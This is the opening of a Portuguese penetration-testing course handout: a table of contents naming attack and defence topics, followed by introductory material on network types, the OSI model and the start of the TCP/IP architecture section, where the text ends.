Apostila Penteste

PenTest - Segurança Hacker
www.linuxforce.com.br
Conteúdo
1 Conceitos Básicos de Redes de Computadores 1

1.1 Definições Gerais . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.1.1 Classificação segundo a extensão geográfica . . . . . . . . . . . 1
1.1.1.1 Rede Local (LAN) . . . . . . . . . . . . . . . . . . . . . 1
1.1.1.2 Rede de Longa Distância (WAN) . . . . . . . . . . . . . 2
1.1.1.3 Rede Metropolitana (MAN) . . . . . . . . . . . . . . . . 2
1.1.2 Conceitos importantes . . . . . . . . . . . . . . . . . . . . . . . . 3
1.1.2.1 Internet . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.1.2.2 Intranet . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.1.2.3 Extranet . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.1.2.4 VPN (Rede Privada Virtual) . . . . . . . . . . . . . . . . 4
1.2 Modelo de Referência OSI . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.2.1 Camada 1 – Física . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.2.2 Camada 2 – Enlace . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.2.3 Camada 3 – Rede . . . . . . . . . . . . . . . . . . . . . . . . . . 7
1.2.4 Camada 4 – Transporte . . . . . . . . . . . . . . . . . . . . . . . 7
1.2.5 Camada 5 – Sessão . . . . . . . . . . . . . . . . . . . . . . . . . 8
1.2.6 Camada 6 – Apresentação . . . . . . . . . . . . . . . . . . . . . 8
1.2.7 Camada 7 - Aplicação . . . . . . . . . . . . . . . . . . . . . . . . 8
1.3 Arquitetura TCP/IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.3.1 Camada Fisica e de Enlace . . . . . . . . . . . . . . . . . . . . . 9
1.3.2 Camada de Rede . . . . . . . . . . . . . . . . . . . . . . . . . . 10
1.3.3 Camada de Transporte . . . . . . . . . . . . . . . . . . . . . . . 10
1.3.4 Camada de Aplicação . . . . . . . . . . . . . . . . . . . . . . . . 11
1.4 Endereçamento IPv4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
1.4.1 Máscara de rede . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
1.5 IPv6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
1.5.1 Endereçamento . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
1.5.1.1 Representação dos endereços . . . . . . . . . . . . . . 21
1.5.1.2 Tipos de endereços IPv6 . . . . . . . . . . . . . . . . . 22
1.5.1.2.1 Endereços Unicast . . . . . . . . . . . . . . . 23
1.5.1.2.1.1 Identificadores de interface . . . . . . . 24
1.5.1.2.1.2 Endereços especiais . . . . . . . . . . . 25
1.5.1.2.2 Endereços Anycast . . . . . . . . . . . . . . . 26
1.5.1.2.3 Endereços Multicast . . . . . . . . . . . . . . . 27
Linux Force – www.linuxforce.com.br Conteúdo
2 Aprendendo GNU/Linux 32
2.1 Comandos e Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
2.1.1 O comando ls . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
2.1.2 Criação, movimentação, cópia e remoção de arquivos e diretó-
rios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
2.1.2.1 Criar arquivo . . . . . . . . . . . . . . . . . . . . . . . . 34
2.1.2.2 Curingas . . . . . . . . . . . . . . . . . . . . . . . . . . 35
2.1.2.3 Criando diretórios . . . . . . . . . . . . . . . . . . . . . 37
2.1.2.4 Removendo arquivos/diretórios . . . . . . . . . . . . . 38
2.1.2.5 Copiar arquivos/diretórios . . . . . . . . . . . . . . . . . 39
2.1.2.6 Mover ou renomear arquivos/diretórios . . . . . . . . . 40
2.2 FHS, Hierarquia dos Diretórios . . . . . . . . . . . . . . . . . . . . . . . 41
2.3 Estrutura de Diretórios GNU/Linux . . . . . . . . . . . . . . . . . . . . . 42
2.3.1 Diretório / . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
2.3.2 DIRETÓRIO /bin . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
2.3.3 Diretório /boot . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
2.3.4 Diretório /dev . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
2.3.5 Diretório /etc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
2.3.6 Diretório /lib . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
2.3.7 Diretório /media . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
2.3.8 Diretório /mnt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
2.3.9 Diretório /opt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
2.3.10 Diretório /sbin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
2.3.11 Diretório srv . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
2.3.12 Diretório /tmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
2.3.13 Diretório /usr . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
2.3.14 Diretório /var . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
2.3.15 Diretório /proc . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
2.3.16 Diretório /sys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
2.3.17 Diretórios /home e /root . . . . . . . . . . . . . . . . . . . . . . . 55
2.3.18 Localização no sistema: find . . . . . . . . . . . . . . . . . . . . 56
2.3.19 xargs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
3 Introdução à Segurança da Informação 61

3.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
3.2 O que é segurança? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
3.3 Segurança da Informação . . . . . . . . . . . . . . . . . . . . . . . . . . 63
3.4 Padrões/Normas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
3.4.1 ISO 27001 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
3.4.2 ISO 27002 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
3.4.3 Basileia II . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
3.4.4 PCI-DSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
3.4.5 ITIL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
3.4.6 COBIT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
PenTest - Segurança Hacker Página ii

3.4.7 NIST 800 Series . . . . . . . . . . . . . . . . . . . . . . . . . . . 65

3.5 Por que precisamos de segurança? . . . . . . . . . . . . . . . . . . . . 65
3.6 Princípios básicos da segurança da informação . . . . . . . . . . . . . . 66
3.6.1 Confidencialidade . . . . . . . . . . . . . . . . . . . . . . . . . . 66
3.6.2 Integridade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
3.6.3 Disponibilidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
3.6.4 Autenticidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
3.6.5 Legalidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
3.6.6 Terminologias de segurança . . . . . . . . . . . . . . . . . . . . 68
3.7 Ameaças e ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
3.8 Mecanismos de segurança . . . . . . . . . . . . . . . . . . . . . . . . . 70
3.8.1 Mecanismos físicos . . . . . . . . . . . . . . . . . . . . . . . . . 70
3.8.2 Mecanismos lógicos . . . . . . . . . . . . . . . . . . . . . . . . . 71
3.9 Serviços de segurança . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
3.10 Certificações . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
4 Introdução ao Teste de Invasão e Ética Hacker 74

4.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
4.2 Visão geral sobre o Pentest . . . . . . . . . . . . . . . . . . . . . . . . . 74
4.3 Tipos de Pentest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
4.3.1 Blind . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
4.3.2 Double blind . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
4.3.3 Gray Box . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
4.3.4 Double Gray Box . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
4.3.5 Tandem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
4.3.6 Reversal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
4.4 As fases de um ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
4.4.1 Levantamento de Informações . . . . . . . . . . . . . . . . . . . 77
4.4.2 Varredura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
4.4.3 Ganhando acesso . . . . . . . . . . . . . . . . . . . . . . . . . . 78
4.4.4 Mantendo acesso . . . . . . . . . . . . . . . . . . . . . . . . . . 79
4.4.5 Limpando rastros . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
4.5 Categorias de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
4.5.1 Server Side Attacks . . . . . . . . . . . . . . . . . . . . . . . . . 80
4.5.2 Client Side Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . 80
4.6 Metodologias existentes . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
4.7 Como conduzir um teste de invasão . . . . . . . . . . . . . . . . . . . . 82
4.8 Aspectos Legais . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
5 Google Hacking 85
5.1 Google Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
5.2 Comandos Avançados do Google . . . . . . . . . . . . . . . . . . . . . 85
5.2.1 intitle, allintitle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
5.2.2 inurl, allinurl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
PenTest - Segurança Hacker Página iii

5.2.3 filetype . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
5.2.4 allintext . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
5.2.5 site . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
5.2.6 link . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
5.2.7 inanchor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
5.2.8 daterange . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
5.2.9 cache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
5.2.10 info . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
5.2.11 related . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
5.3 Google Hacking Database . . . . . . . . . . . . . . . . . . . . . . . . . . 89
5.4 Levantamento de informações . . . . . . . . . . . . . . . . . . . . . . . 89
6 Levantamento de Informações 91
6.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
6.2 Footprint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
6.3 Por onde começar? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
6.4 Consulta a informações de domínio . . . . . . . . . . . . . . . . . . . . 93
6.5 Consultando servidores DNS . . . . . . . . . . . . . . . . . . . . . . . . 94
6.6 Consultando websites antigos . . . . . . . . . . . . . . . . . . . . . . . . 95
6.7 Webspiders . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
6.8 Netcraft . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
6.9 Buscando relacionamentos . . . . . . . . . . . . . . . . . . . . . . . . . 97
6.10 Rastreamento de E-mails . . . . . . . . . . . . . . . . . . . . . . . . . . 98
6.11 Fingerprint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
6.12 Fingerprint passivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
6.13 Fingerprint ativo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
6.13.1 Descobrindo um Sistema Operacional usando ICMP . . . . . . . 101
6.13.2 Calculando HOP . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
6.13.3 Fingerprint através do xprobe2 . . . . . . . . . . . . . . . . . . . 102
6.14 Contramedidas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
7 Engenharia Social 104

7.1 O que é Engenharia Social? . . . . . . . . . . . . . . . . . . . . . . . . . 104
7.2 Tipos de Engenharia Social . . . . . . . . . . . . . . . . . . . . . . . . . 104
7.2.1 Baseada em pessoas . . . . . . . . . . . . . . . . . . . . . . . . 104
7.2.2 Baseada em computadores . . . . . . . . . . . . . . . . . . . . . 105
7.3 Formas de ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
7.3.1 Insider Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
7.3.2 Roubo de identidade . . . . . . . . . . . . . . . . . . . . . . . . . 105
7.3.3 Phishing Scam . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
7.3.4 URL Obfuscation . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
7.3.5 Dumpster Diving . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
7.3.6 Persuasão . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
7.4 Engenharia Social Reversa . . . . . . . . . . . . . . . . . . . . . . . . . 107
PenTest - Segurança Hacker Página iv

8 Varreduras ativas, passivas e furtivas de rede 108

8.1 Varreduras Internet Control Messages Protocol (ICMP) . . . . . . . . . 108
8.2 Varreduras TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
8.3 NMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
8.4 Métodos de Varredura . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
8.4.1 -sP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
8.4.2 -sV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
8.4.3 -sS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
8.4.4 -sT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
8.4.5 -sU . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
8.4.6 -sF, -sX, -sN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
8.4.7 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> . . . . . 113
8.5 Anonymizer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
8.5.1 Instalando e testando o TOR no BackTrack . . . . . . . . . . . . 114
9 Enumeração de informações e serviços 117

9.1 Enumeração . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
9.2 Aquisição de banners . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
9.2.1 Técnicas clássicas . . . . . . . . . . . . . . . . . . . . . . . . . . 118
9.2.2 Ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
10 Trojans, Backdoors, Vírus, Rootkits e Worms 120

10.1 Backdoor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120
10.2 Cavalo de Tróia ou Trojan Horse . . . . . . . . . . . . . . . . . . . . . . 120
10.3 Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
10.4 Vírus e worms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122
10.5 Bots e Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
10.5.1 Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
10.5.2 Como o invasor se comunica com o Bot? . . . . . . . . . . . . . 124
10.5.3 Esquema simplificado de uma botnet . . . . . . . . . . . . . . . 124
10.6 Netcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125
10.6.1 Opções do Netcat . . . . . . . . . . . . . . . . . . . . . . . . . . 125
10.6.2 Netcat - Utilização . . . . . . . . . . . . . . . . . . . . . . . . . . 126
10.6.3 Encadeando Netcats . . . . . . . . . . . . . . . . . . . . . . . . . 127
10.7 Keylogger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
11 Ignorando Proteções 129

11.1 Evasão de Firewall/IDS com Nmap . . . . . . . . . . . . . . . . . . . . . 129
11.2 Firewall Tester . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130
11.2.1 Características: . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130
11.2.2 Utilização: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130
11.2.3 Sintaxe: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
11.3 Detectando Honeypots . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
PenTest - Segurança Hacker Página v

12 Tecnicas de Forca Bruta 133

12.1 Brute Force . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
12.2 Wordlist . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
12.2.1 Geração de Wordlist . . . . . . . . . . . . . . . . . . . . . . . . . 133
12.3 John The Ripper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
12.3.1 Modos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
12.3.2 Linha de Comando . . . . . . . . . . . . . . . . . . . . . . . . . . 138
12.3.3 Usando o Jhon the Ripper . . . . . . . . . . . . . . . . . . . . . . 140
12.4 THC-Hydra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
12.4.1 Usando o HydraGTK . . . . . . . . . . . . . . . . . . . . . . . . . 141
12.4.2 Hydra no terminal . . . . . . . . . . . . . . . . . . . . . . . . . . 141
12.5 Rainbow Crack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142
12.6 Utilizando o Rainbow Crack para criação de Rainbow Tables . . . . . . 143
12.6.1 Introdução . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
13 Vulnerabilidades em aplicações web 149

13.1 Entendendo a aplicação web . . . . . . . . . . . . . . . . . . . . . . . . 149
13.2 Por que é tão perigoso? . . . . . . . . . . . . . . . . . . . . . . . . . . . 149
13.3 Principais Classes de Vulnerabilidades . . . . . . . . . . . . . . . . . . . 150
13.4 A1 – CROSS SITE SCRIPTING (XSS) . . . . . . . . . . . . . . . . . . . 152
13.4.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 152
13.4.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
13.5 A2 – FALHAS DE INJEÇÃO . . . . . . . . . . . . . . . . . . . . . . . . . 154
13.5.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154
13.6 A3 – EXECUÇÃO MALICIOSA DE ARQUIVO . . . . . . . . . . . . . . . 155
13.6.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
13.6.2.1 Shell PHP . . . . . . . . . . . . . . . . . . . . . . . . . 157
13.7 A4 – REFERÊNCIA INSEGURA DIRETA A OBJETO . . . . . . . . . . . 158
13.7.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 160
13.8 A5 – CROSS SITE REQUEST FORGERY (CSRF) . . . . . . . . . . . . 160
13.8.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161
13.9 A6 – VAZAMENTO DE INFORMAÇÕES E TRATAMENTO DE ERROS
INAPROPRIADO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162
13.9.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
13.10A7 – FURO DE AUTENTICAÇÃO E GERÊNCIA DE SESSÃO . . . . . . 164
13.10.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 164
13.10.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165
13.11A8 – ARMAZENAMENTO CRIPTOGRTAFICO INSEGURO . . . . . . . 165
PenTest - Segurança Hacker Página vi

13.11.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166
13.12A9 – COMUNICAÇÕES INSEGURAS . . . . . . . . . . . . . . . . . . . 166
13.12.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
13.13A10 – FALHA AO RESTRINGIR ACESSO À URLS . . . . . . . . . . . . 168
14 Elevação de Privilégios Locais 170

14.1 O que é escalada de privilégios? . . . . . . . . . . . . . . . . . . . . . . 170
14.2 Possíveis alvos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171
14.3 Laboratorio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171
15 Apagando Rastros 172

15.1 Por que encobrir rastros? . . . . . . . . . . . . . . . . . . . . . . . . . . 172
15.2 O que encobrir? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172
15.3 Técnicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
15.4 Ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174
16 Referências Bibliográficas 175
PenTest - Segurança Hacker Página vii

1 Conceitos Básicos de Redes de
Computadores
1.1 Definições Gerais
Uma Rede de Computadores é: um conjunto de dispositivos processadores capa-

zes de trocar informações e compartilhar recursos, interligados por um sistema de
comunicação.
Exemplos de dispositivos:
• Celulares
• Computadores
• Notebooks
• Tablets
• Televisores
• Video Games
• e qualquer outro equipamento com capacidade de interconexão
1.1.1 Classificação segundo a extensão geográfica
1.1.1.1 Rede Local (LAN)
Em computação, rede de área local (ou LAN, acrônimo de local area network),
ou ainda rede local, é uma rede de computadores utilizada na interconexão de equi-
Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores
pamentos processadores com a finalidade de troca de dados. Um conceito mais

preciso seria: é um conjunto de hardware e software que permite a computadores
individuais estabelecerem comunicação entre si, trocando e compartilhando infor-
mações e recursos. Tais redes são denominadas locais por cobrirem apenas uma
área limitada (10 km no máximo, além do que passam a ser denominadas MANs).
Redes em áreas maiores necessitam de tecnologias mais sofisticadas, visto que, fisi-
camente, quanto maior a distância de um nó da rede ao outro, maior a taxa de erros
que ocorrerão devido à degradação do sinal.
As LANs são utilizadas para conectar estações, servidores, periféricos e outros dis-
positivos que possuam capacidade de processamento em uma casa, escritório, es-
cola e edifícios próximos.
1.1.1.2 Rede de Longa Distância (WAN)
A Wide Area Network (WAN), Rede de área alargada ou Rede de longa distância,
também conhecida como Rede geograficamente distribuída, é uma rede de com-
putadores que abrange uma grande área geográfica, com frequência um país ou
continente.
1.1.1.3 Rede Metropolitana (MAN)
Rede de Área Metropolitana (Metropolitan Area Network), também conhecida

como MAN, é o nome dado às redes que ocupam o perímetro de uma cidade. São
mais rápidas e permitem que empresas com filiais em bairros diferentes se conectem
entre si.
A partir do momento que a internet atraiu uma audiência de massa, as operadoras

de redes de TV a cabo, começaram a perceber que, com algumas mudanças no
sistema, elas poderiam oferecer serviços da Internet de mão dupla em partes não
utilizadas do espectro. A televisão a cabo não é a única MAN. Os desenvolvimentos
mais recentes para acesso à internet de alta velocidade sem fio resultaram em outra
MAN, que foi padronizada como IEEE 802.16.
PenTest - Segurança Hacker Página 2

1.1.2 Conceitos importantes
1.1.2.1 Internet
A Internet é o maior conglomerado de redes de comunicações em escala mundial e

dispõe milhões de computadores interligados pelo protocolo de comunicação TCP/IP
que permite o acesso a informações e todo tipo de transferência de dados. Ela car-
rega uma ampla variedade de recursos e serviços, incluindo os documentos interli-
gados por meio de hiperligações da World Wide Web (Rede de Alcance Mundial), e
a infraestrutura para suportar correio eletrônico e serviços como comunicação ins-
tantânea e compartilhamento de arquivos.
De acordo com a Internet World Stats, 1,96 bilhão de pessoas tinham acesso à In-
ternet em junho de 2010, o que representa 28,7% da população mundial. Segundo
a pesquisa, a Europa detinha quase 420 milhões de usuários, mais da metade da
população. Mais de 60% da população da Oceania tem o acesso à Internet, mas
esse percentual é reduzido para 6,8% na África. Na América Latina e Caribe, um
pouco mais de 200 milhões de pessoas têm acesso à Internet (de acordo com dados
de junho de 2010), sendo que quase 76 milhões são brasileiros.

1.1.2.2 Intranet
A intranet é uma rede de computadores privada que assenta sobre a suite de pro-
tocolos da Internet, porém, de uso exclusivo de um determinado local, como, por
exemplo, a rede de uma empresa, que só pode ser acessada por seus usuários
internos.
Pelo fato de sua aplicação, todos os conceitos TCP/IP se empregam à intranet, como,
por exemplo, o paradigma de cliente-servidor.
Dentro de uma empresa, todos os departamentos possuem alguma informação que

pode ser trocada com os demais setores, podendo cada seção ter uma forma direta
de se comunicar com as demais, o que se assemelha muito com a conexão LAN,
que, porém, não emprega restrições de acesso.
Diferentemente do que ocorre na intranet, na extranet o acesso à internet se dá em

qualquer lugar do mundo.
O termo foi utilizado pela primeira vez em 19 de Abril de 1995, num artigo de autoria
técnica de Stephen Lawton, na Digital News & Reviews.
1.1.2.3 Extranet
A Extranet de uma empresa é a porção da rede de computadores que faz uso da

Internet para partilhar com segurança parte do seu sistema de informação.
Tomado o termo em seu sentido mais amplo, o conceito confunde-se com Intranet.
Uma Extranet também pode ser vista como uma parte da empresa que é estendida a
usuários externos ("rede extra-empresa"), tais como representantes e clientes. Outro
uso comum do termo Extranet ocorre na designação da "parte privada"de um site,
onde somente "usuários registrados"podem navegar, previamente autenticados por
sua senha (login).
1.1.2.4 VPN (Rede Privada Virtual)
Rede Privada Virtual é uma rede de comunicações privada normalmente utilizada por
uma empresa ou um conjunto de empresas e/ou instituições, construída em cima de
uma rede de comunicações pública (como por exemplo, a Internet). O tráfego de

dados é levado pela rede pública utilizando protocolos padrão, não necessariamente
seguros.
VPNs seguras usam protocolos de criptografia por tunelamento que fornecem a con-
fidencialidade, autenticação e integridade necessárias para garantir a privacidade
das comunicações requeridas. Quando adequadamente implementados, estes pro-
tocolos podem assegurar comunicações seguras através de redes inseguras.
Deve ser notado que a escolha, implementação e uso destes protocolos não é algo
trivial, e várias soluções de VPN inseguras são distribuídas no mercado. Adverte-se
os usuários para que investiguem com cuidado os produtos que fornecem VPNs. Por
si só, o rótulo VPN é apenas uma ferramenta de marketing.
Os termos: LAN, WAN, MAN, internet, intranet, extranet e VPN deste texto
foram extraidos do site http://pt.wikipedia.org
1.2 Modelo de Referência OSI
O modelo OSI (Open Systems Interconnection) foi desenvolvido pela ISO (Internati-
onal Standard Organization) com o objetivo de criar uma estrutura para definição de
padrões para a conectividade e interoperabilidade de sistemas heterogêneos. Define

um conjunto de 7 camadas (layers) e os serviços atribuídos a cada uma. O modelo

OSI é uma referência e não uma implementação.
1.2.1 Camada 1 – Física
Transmissão transparente de seqüências de bits pelo meio físico.
Contém padrões mecânicos, funcionais, elétricos e procedimentos para acesso a

esse meio físico.
Especifica os meios de transmissão (satélite, coaxial, radiotransmissão, par metálico,

fibra óptica, etc.).
Tipos de conexão:
• Ponto-a-ponto ou multiponto
• Full ou half duplex
• Serial ou paralela
1.2.2 Camada 2 – Enlace
Esconde características físicas do meio de transmissão.
Transforma os bits em quadros (frames).
Provê meio de transmissão confiável entre dois sistemas adjacentes.
Funções mais comuns:
• Delimitação de quadro
• Detecção de erros
• Seqüencialização dos dados
• Controle de fluxo de quadro

Para redes locais é dividido em dois subníveis: LLC (Logical Link Control) e MAC
(Media Access Control).
1.2.3 Camada 3 – Rede
Provê canal de comunicação independente do meio.
Transmite pacotes de dados através da rede.
Os pacotes podem ser independentes (datagramas) ou percorrer uma conexão pré-

estabelecida (circuito virtual).
Funções características:
• Tradução de endereços lógicos em endereços físicos
• Roteamento
• Não propaga broadcast de rede
• Não possuem garantia de entrega dos pacotes
1.2.4 Camada 4 – Transporte
Nesta camada temos o conceito de comunicação fim-a-fim.
Possui mecanismos que fornecem uma comunicação confiável e transparente entre

dois computadores, isto é, assegura que todos os pacotes cheguem corretamente
ao destino e na ordem correta.
Funções:
• Controle de fluxo de segmentos
• Correção de erros
• Multiplexação

1.2.5 Camada 5 – Sessão
Possui a função de disponibilizar acessos remotos, estabelecendo serviços de se-

gurança, verificando a identificação do usuário, sua senha de acesso e suas carac-
terísticas (perfis). Atua como uma interface entre os usuários e as aplicações de
destino.
Pode fornecer sincronização entre as tarefas dos usuários.
1.2.6 Camada 6 – Apresentação
Responsável pelas transformações adequadas nos dados, antes do seu envio a ca-
mada de sessão. Essas transformações podem ser referentes à compressão de
textos, criptografia, conversão de padrões de terminais e arquivos para padrões de
rede e vice-versa.
Funções:
• Formatação de dados
• Rotinas de compressão
• Compatibilização de aplicações: sintaxe
• Criptografia
1.2.7 Camada 7 - Aplicação
É responsável pela interface com as aplicações dos computadores (hosts). Entre as

categorias de processos de aplicação podemos citar:
• Correio eletrônico: X400
• Transferência de arquivos: FTAM
• Serviço de diretório: X500
• Processamento de transações: TP

• Terminal virtual: VT
• Acesso à banco de dados: RDA
• Gerência de rede
1.3 Arquitetura TCP/IP
A arquitetura TCP/IP é composta por 4 camadas (formando a pilha da estrutura do

protocolo) compare o as camadas TCP/IP com o Modelo OSI:
1.3.1 Camada Fisica e de Enlace
Esta camada também é conhecida como camada de Acesso à Rede.
A função da camada Acesso à Rede é prover uma interface entre a camada Rede e
os elementos físicos da rede.

A camada inferior da arquitetura TCP/IP tem as funcionalidades referentes às cama-

das 1 e 2 do Modelo OSI.
1.3.2 Camada de Rede
A camada Rede, também conhecida como de Internet ou Internetwork, é equivalente

a camada 3, de Rede, do Modelo OSI. camada.
